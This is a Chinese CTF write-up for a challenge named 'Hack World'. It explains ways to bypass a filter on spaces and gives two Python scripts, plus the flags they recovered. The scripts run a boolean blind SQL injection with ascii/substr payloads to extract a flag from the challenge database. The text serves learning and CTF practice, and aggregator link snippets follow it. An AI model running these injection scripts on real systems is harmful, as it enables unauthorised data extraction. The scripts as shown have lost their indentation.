记一道布尔注入的题,存在过滤字符。

从题目看应该是一道注入题。提示存在flag表flag列。

输入1和2的返回结果不一样,可能是布尔注入。

简单用万能密码尝试了一下。提示SQL Injection Checked。显然是存在过滤的。FUZZ测试:



好像并没有过滤掉很多的东西。ascii和substr都存在,但是空格被过滤了。

绕过空格的方法:

1、注释绕过

/**/
/*!*/

2、括号绕过

3、HTML编码绕过

常用的URL编码中,会把空格编码成%20,所以通过浏览器发包,进行的URL编码中,空格被编码成%20,而这是属于HTML编码中从 %00 到 %8F的范围,但在HTML编码中,还有一个编码可以取代空格,也就是%a0。

我们这里因为没过滤掉括号我们自己括号绕过空格。

这里应用一下大佬的脚本https://www.cnblogs.com/20175211lyz/p/11435298.html

import string
import requests
import string url = "http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
result = ""
right = "Hello"
for i in range(1,50):
high = 127
low = 32
mid = (low+high) // 2 #找中间数
while high>low:
payload = "if(ascii(substr((select(flag)from(flag)),%s,1))>%s,1,2)"%(i,mid)
date = {"id":payload}
repos = requests.post(url,data=date)
if right in repos.text:
low = mid + 1 #假如返回的字符串中有Hello,即flag的某个字符的ascii码比中间数大,我们要增大中间数
else:
high = mid #假如返回的字符串中没有Hello,即flag的某个字符的ascii码比中间数小,我们要把最大数调整到原来的中间数位置
mid = (low+high) //2
result += chr(int(mid)) #中间数不一定是整数,用int转成整数
print(result)

下面是自己写的。如果有大师傅看到这篇文章,指点一下小弟,下面是自己写的脚本能跑,但是有点问题。

flag{eb683c48e1a849f79d3ff65e693f9551} //自己跑出来的flag
flag{eb683c48-e1a8-49f7-9d3f-f65e693f9551} //别人脚本跑出来的flag,这个是正确的

自己写的脚本跑不出“-”这个字符。其他的字母和数字是一样的。

import requests
import string url="http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
dic = string.digits+string.ascii_letters+"!@#$%^&*()_=+{}-"
result =""
for i in range(1,60):
for each in dic:
payload = "if((ascii(substr((select(flag)from(flag)),%s,1))=ascii('%s')),1,2)"%(i,each)
print(payload)
date = {"id":payload}
rep = requests.post(url=url,data=date)
if "Hello" in rep.text:
print(each)
result += each
print(result)
break
print(result)

[CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)的更多相关文章

  1. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  2. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

  3. BUUOJ [CISCN2019 华北赛区 Day2 Web1]Hack World

    补一下这道题,顺便发篇博客 不知道今年国赛是什么时候,菜鸡还是来刷刷题好了 0X01 考点 SQL注入.盲注.数字型 0X02自己尝试 尝试输入1 赵师傅需要女朋友吗???随便都能有好吧 输入2 ?? ...

  4. [CISCN2019 华北赛区 Day2 Web1]Hack World

    知识点:题目已经告知列名和表明为flag,接下来利用ascii和substr函数即可进行bool盲注 eg: id=(ascii(substr((select(flag)from(flag)),1,1 ...

  5. 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World

    解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...

  6. [CISCN2019 华北赛区 Day2 Web1]Hack World 1详解

    打开题目, 我们开始尝试注入, 输入0回显Error Occured When Fetch Result. 输入1回显Hello, glzjin wants a girlfriend. 输入2回显Do ...

  7. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  8. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  9. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

随机推荐

  1. Kubernetes之无头服务(headless)

    己经看到如何使用服务来提供稳定的ip地址,从而允许客户端连接到支持服务的每个pod (或其他端点).到服务的每个连接都被转发到一个随机选择的pod上.但是如果客户端需要链接到所有的pod呢?如果后端的 ...

  2. 7、openstack安装

    1.openstack配置架构图: 2.主机设置: (1)两台主机名分别是controller和compute1: hostnamectl set-hostname controller hostna ...

  3. Spring源码编译一次性通过&遇到的坑解决方法

    前言 spring源码本地编译,按网上的博客参考资料的操作步骤,总是会出现各种莫名其妙的错误.根据错误信息找解决方案,但在自己的环境下又总是编译不过去.结合参加培训学习Jack老师提供的方法,自己多种 ...

  4. JNI小记

    本文参考<较详细的介绍JNI>一文,并添加了一些方法,代码已经过测试,留待日后工作使用.关于JNI的HelloWorld的例子,就不赘述了. java代码: 1 package com.c ...

  5. linux学习之路第七天(压缩和解压类指令详解)

    压缩和解压类 1.gzip/gunzip 指令 gzip 指令用于压缩文件, gunzip用于解压的 基本语法 gzip 文件 (功能描述:压缩文件,指令将文件压缩成*.gz文件) gunzip 文件 ...

  6. XCTF_MFC逆向

    讲道理这题有点脑洞,也可能我太菜了,首先对mfc就不太熟悉,不知道是个啥玩意,只能边看大佬的wp百度边做了,之后要恶补一下mfc的知识了. 题目一开始说flag在控件中,看到大佬都是用Mfcspy来找 ...

  7. Java | 标识符 & 关键字

    标识符是什么? 标识符 标识符是指在程序中,我们自己定义的内容.比如类的名字.方法的名字和变量的名字等等,都是标识符.在我们写的第一个程序当中,我们给类起名叫做Hello 也叫做标识符. 命名规则 标 ...

  8. linux挂载光驱

    挂载光驱到linux中.linux的镜像盘中有安装oracle的所有的软件包,可以会用yum一键安装. 1.此时的linux的界面显示光驱图标 2.挂载 因为光盘里面的文件是只读模式的,yum安装时不 ...

  9. Luogu P4313 文理分科

    link 最小割 双倍经验 这道题运用了最小割最常用的一种用法:集合划分. 因为源汇最小割即就是将源汇划分到不同的集合,那么最简单的应用就是最小代价划分集合了. 本题中,题意是将 \(n\cdot m ...

  10. 「AGC034E」 Complete Compress

    「AGC034E」 Complete Compress 显然可以枚举根. 然后把某两棵棋子同时往深度浅的方向提,即对不存在祖先关系的两个棋子进行操作. 如果能到达那么就更新答案. 问题转化为如何判定能 ...